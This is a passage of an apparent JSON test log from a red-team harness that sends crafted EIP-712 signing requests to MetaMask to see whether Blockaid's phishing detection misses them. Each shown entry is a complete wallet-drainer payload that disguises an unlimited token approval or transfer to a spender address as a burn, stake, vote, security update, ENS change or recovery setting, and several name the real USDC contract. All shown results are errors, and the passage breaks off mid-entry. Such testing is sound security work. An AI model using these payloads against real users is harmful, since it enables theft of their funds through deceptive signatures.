Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:37:29.798Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:37:39.360Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:37:48.933Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:37:58.503Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:38:08.065Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN66-EIP3009-022", "timestamp": "2026-01-31T19:38:17.633Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xfd0f0882fb1a2c8f227d74ac5d567b86569eb91c707800f25a6d902bac732cf3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN66-EIP3009-054", "timestamp": "2026-01-31T19:38:27.189Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd55ab1a286c007fefff81e239ef14a2aa5d1d534f3ae2f8c140e288edad6d642\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:38:36.747Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:38:46.312Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:38:55.880Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:39:05.451Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:39:15.018Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:39:24.583Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:39:34.155Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:39:43.715Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:39:53.280Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:40:02.852Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:40:12.417Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:40:21.986Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:40:31.551Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 